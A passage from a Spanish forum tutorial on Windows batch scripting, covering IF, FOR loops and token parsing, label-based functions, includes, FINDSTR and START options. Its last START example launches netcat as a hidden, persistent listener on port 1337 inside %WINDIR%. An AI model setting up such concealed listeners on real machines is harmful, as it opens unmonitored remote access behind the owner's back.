echo NO ERES MAYOR DE EDAD
)
que regresa:
Código:
C

ocuments and SettingsAdministradortempcurso>acon
Cual es tu edad?
19
ERES MAYOR DE EDAD
C

ocuments and SettingsAdministradortempcurso>acon
Cual es tu edad?
17
NO ERES MAYOR DE EDAD
Tambien podemos saber si una variable ya fue definida:
Código:
IF DEFINED var (
echo SI
) ELSE (
echo NO
)
________________________________________
FOR
FOR es una herramienta muy completa, nos permite analizar segmentos de la salida de comandos, funciones y el contenido de archivos.
Tambien permite hacer bucles de la siguiente manera:
Código:
FOR /L %%var IN (inicio,incremento,fin) DO (acciones)
inicio, es el valor inicial, incremento es la cantidad a sumar, y fin es la cantidad a detenerse, por ejemplo:
Código:
FOR /L %%i IN (0,1,10) DO (echo %%i)
imprimira 0 1 2 3 4 5 6 7 8 9 10
sinembargo, la forma mas sencilla de usar FOR, es para numerar archivos, y hacer algo con ellos.. por ejemplo:
Código:
FOR %%x in (x*) DO echo %%x
mostrará todos los archivos que empiezan con x.
para SOLO mostrar directorios:
Código:
FOR /D %%x in (m*) DO echo %%x
el modificador "/D", mostrará solo los directorios, que empiesen con m.
El comando se puede hacer "recursivo", es decir, que se ejecute dentro de cada directorio, con el comando "/R", por ejemplo, en una estructura de directorios como la siguiente:
Código:
├───adios
│ └───algo
│ └───xx
└───hola
al ejecutar el comando:
Código:
FOR /R /D %%x in (a*) DO echo %%x
C:adios
C:adiosalgo
sinembargo, al ejecutar el comando..
Código:
FOR /R %%x in (*x*) DO echo %%x
C:ax.txt
C:adiossx.txt
C:adioswwx.txt
C:adiosalgokkx.txt
C:adiosalgoxxxx.txt
C:holaax.txt
C:holarx.txt
nos mostrara todos los archivos que coinciden con la sequencia especificada, incluso podriamos hacer un buscador en batch, con el uso de FINDSTR y FOR.
Tenemos otro modificador, /F que nos permite usar ciertas opciones para separar el resulado de las acciones.. comandos, cadenas, o archivos. Su sintaxis es la siguiente:
Código:
FOR /F ["opciones"] %var IN (conjunto) DO (acciones)
conjunto puede ser:
conjunto de archivos -> sin comillas
cadena de caracteres -> con comillas dobles (" "

comando -> con comilla simple (' ')
las opciones son las siguientes:
eol -> todo lo que este despues de este caracter sera ignorado (para cada linea)
skip -> numero de lineas a saltarse al principio del archivo/comando.
delims -> esto sirve para separar las strings.. si no se coloca esta opcion, se usaran como separadores "espacio" y "tab"
tokens -> esto es para especificar cuales segementos, delimitados por "delims", seran pasados a las variables.. por ejemplo:
1,2,3
solo pasara los primeros 3 segmentos.
1,2*
pasara 2 segmentos, el primero y todo lo que este despues (el * regresa todo el resto de la linea)
1,2-6,8,9*
regresara 4 segmentos, el primero, desde el segundo hasta el sexto, el octavo y el resto de la linea, despues del noveno, el signo de menos (-) genera intervalos.
por ultimo, esta la opcion:
usebackq -> que cambia la forma de interpretar si es string o comando, de la siguiente manera:
'cadena'
`comando`
Nota: [`] es diferente al caracter de acento [´]
por ejemplo, el siguiente comando:
Código:
FOR /F "tokens=1,3-5,7-9,10* delims= " %%i IN ("George no es malvado, es bondadoso, siempre piensa en los demas."

DO echo %%i %%j %%k %%l tonto, %%m %%n %%o matar a %%p %%q
dara de resultado:
Código:
George es malvado, es tonto, siempre piensa en matar a los demas.
________________________________________
Funciones
El uso de argumentos, de etiquetas y de filtros nos ayuda mucho al momento de escribir un codigo.
Muchos creen que las etiquetas solo sirven para los goto.. sinembargo una etiqueta puede servir de funcion y recibir parametros.
miren, el siguiente programa:
Código:
@echo off
call:funcion 1 2 3
call:funcion %*
goto:EOF
:funcion
echo Estoy en: %~nx0-^>%0 %*
al ser llamado, por ejemplo en:
Código:
C:>ejemplo
Estoy en: ejemplo.bat->:funcion 1 2 3
Estoy en: ejemplo.bat->:funcion
el primero muestra los parametros enviados por el batch (1 2 3), y el segundo los parametros enviados al programa.
en este otro ejemplo:
Código:
C:>ejemplo HOLA MUNDO
Estoy en: ejemplo.bat->:funcion 1 2 3
Estoy en: ejemplo.bat->:funcion HOLA MUNDO
la funcion obtiene tambien los argumentos del programa.
hasta ahora.. todo es igual a usar goto a excepcion del uso de argumentos, sinembargo.. si queremos hacer un.. "return", se hace usando:
goto:EOF
entonces, en situaciones como:
Código:
@echo off&call:main&goto:EOF
:suma
set /A res=%1 + %2
echo %res%
goto:EOF
:resta
set /A res=%1 - %2
echo %res%
goto:EOF
:multiplica
set /A res=%1 * %2
echo %res%
goto:EOF
:main
set /P arg=Escribe 2 numeros separados por un espacio
echo %arg%
echo su suma es:
call:suma %arg%
echo su resta es:
call:resta %arg%
echo su producto es:
call:multiplica %arg%
goto:EOF
como podemos ver goto:EOF se usa para regresar al orden de comandos.
el resultado es algo asi:
Código:
C:>operaciones
Escribe 2 numeros separados por un espacio 6 2
6 2
su suma es:
8
su resta es:
4
su producto es:
12
________________________________________
Includes
Para hacer un "include" oincluir un archivo, solo debes llamarlo asi:
archivo_a_incluir.bat funcion argumentos
y en el archivo a incluir, debe de estar al principio: @echo off&call:%*&goto:EOF
queda algo asi:
Código:
@echo off&call:%*&goto:EOF
:funcion1
...
:funcion2
...
por ejemplo:
--inclu.bat--
Código:
@echo off&call:%*&goto:EOF
:cabeza
echo ###############
echo # Hecho por: #
echo # sirdarckcat #
echo ###############
goto:EOF
:uso
echo uso:
echo %~nx0 Nombre
goto:EOF
:nombre
echo Hola %*
goto:EOF
--inicio.bat--
Código:
@echo off
if "%~1"=="" (
inclu.bat cabeza
inclu.bat uso
) else (
inclu.bat nombre %~1
)
esto daria este resultado:
Código:
C:>inicio
###############
# Hecho por: #
# sirdarckcat #
###############
uso:
inclu.bat Nombre
C:>inicio sirdarckcat
Hola sirdarckcat
C:>
________________________________________
Misc
Algunos filtros y comandos interesantes:
• comando | more
muestra el resultado del comando de forma paginada
• comando | sort
muestra el resultado del comando de forma ordenada
• TITLE "algo"
cambia el titulo de la ventana de CMD
• SUBST ruta/a/alguna/carpeta [letra_unidad]
asgina a letra_unidad la ruta de acceso
• FIND "cadena"
busca cierta cadena en un archivo (se puede usar como filtro), con el modificador /v encuentra solo las que NO tienen la linea especificada. (para mas info, escribe en CMD: FIND /?)
• FINDSTR
extension de FIND, acepta expresiones regulares, y busqueda general (lo mas parecido que DOS tiene a grep), descripción detallada:
Código:
Busca cadenas en los archivos.
FINDSTR [/B] [/E] [/L] [/R] [/S] [/I] [/X] [/V] [/N] [/M] [/O] [/P]
[/F:archivo]
[/C:cadena] [/G:archivo] [/D:lista de directorios] [/A:atributos de color]
[[unidad
[ruta]nombredearchivo[ ...]]
/B Hace coincidir los modelos si están al principio de la línea.
/E Hace coincidir los modelos si están al final de la línea.
/L Literalmente utiliza cadenas de búsqueda.
/R Utiliza cadenas sde búsqueda como expresiones regulares.
/S Busca archivos que coinciden en el directorio actual y en todos
los subdirectorios.
/I Especifica que la búsqueda no distingue mayúsculas de minúsculas.
/X Imprime líneas que coinciden con exactitud.
/V Sólo imprime líneas que no contienen una correspondencia.
/N Imprime el número de la línea antes de la línea que coincide.
/M Sólo imprime el nombre de archivo si el archivo contiene una
correspondencia.
/O Imprime un carácter de desplazamiento antes de las líneas que
coinciden.
/P Omite archivos con caracteres que no son imprimibles
/A:attr Especifica atributos de color con dos dígitos hexadecimales. Ver
"color /?"
/F:archivo Lee la lista de archivos desde el archivo especificado
(/ significa consola).
/C:cadena Utiliza una cadena especificada como una búsqueda de cadena
literal.
/G:archivo Coje la búsqueda de archivos desde el archivo especificado
(/ significa consola).
/D:dir Busca un signo de punto y coma de la lista delimitada de
directorios
cadenas Texto que se debe buscar.
[unidad
[ruta]nombredearchivo
Especifica un archivo o archivos que buscar.
Utiliza espacios para separar múltiples cadenas de búsqueda a no ser que
el argumento lleve un prefijo con /C. Por ejemplo, 'FINDSTR "qué tal" x.y'
busca "qué" o "tal" en el archivo x.y. 'FINDSTR /C:"qué tal" x.y' busca
"qué tal" en el archivo x.y.
Expresión regular de referencia rápida:
. Comodín: cualquier carácter
* Repetir: cero o más ocurrencias de un carácter previo o de clase
^ Posición de línea: comienzo de la línea
$ Posición de línea: fin de línea
Clase de carácter: cualquier carácter en la serie
[^class] Clase inversa: cualquier carácter que no esté en la serie
[x-y] Intervalo: cualquier carácter que esté dentro del intervalo
especificado
x Escape: uso literal de un metacarácter x
<xyz Posición de palabra: principio de palabra
xyz> Posición de palabra: fin de palabra
Para obtener una información más completa sobre expresiones regulares de
FINDSTR referirse al Comando de referencia Command en línea.
• start "titulo ventana nueva"
comando argumentos
START tiene mas opciones de las que son usadas comunmente.
"titulo ventana nueva" especifica el titulo de la ventana que se generará.
las opciones entre otros contienen:
/Druta - el programa inicia en el directorio..
/B - la aplicación se inicia sin ventana
/I - se inicia la aplicacion con el entorno original, es decir las modificaciones al entrono hechas en esta sesion, no afectaran el nuevo programa
/MIN - La nueva ventana se inicia minimisada
/MAX - La nueva ventana se inicia maximisada
/SEPARATE - El programa se inicia en una zona de memoria separada
/SHARED - El programa se inicia en una zona de memoria compartida
Iniciar en prioridades:
/LOW - baja
/NORMAL - normal
/HIGH - alta
/REALTIME - tiempo real
/ABOVENORMAL - sobre lo normal
/BELOWNORMAL - debajo de lo normal
/WAIT - Inicia el programa, y espera hasta que termine de ejecutarse
por ejemplo, si quieren abrir un programa sin generar una ventana, por ejemplo netcat, podrian hacer algo asi:
start /B /SEPARATE /HIGH /I /D %WINDIR% nc -L -p 1337 |exit
que lo inicia en una zona de memoria separada, con prioridad alta, en el contexto original, y en %windir%
EOF
EOF es una etiqueta que define el fin del archivo, sirve para terminar funciones, y en este caso, solo sirve para terminar el documento , espero les sirva
Autorizo la reproducción total o parcial de este documento bajo la licencia de documentación libre de GNU (GFDL), una copia puede ser encontrada en http://www.gnu.org/licenses/fdl.txt
Espero que Mi Post les Alla Gustado Muchas Gracias,, Ya mi segundo post!

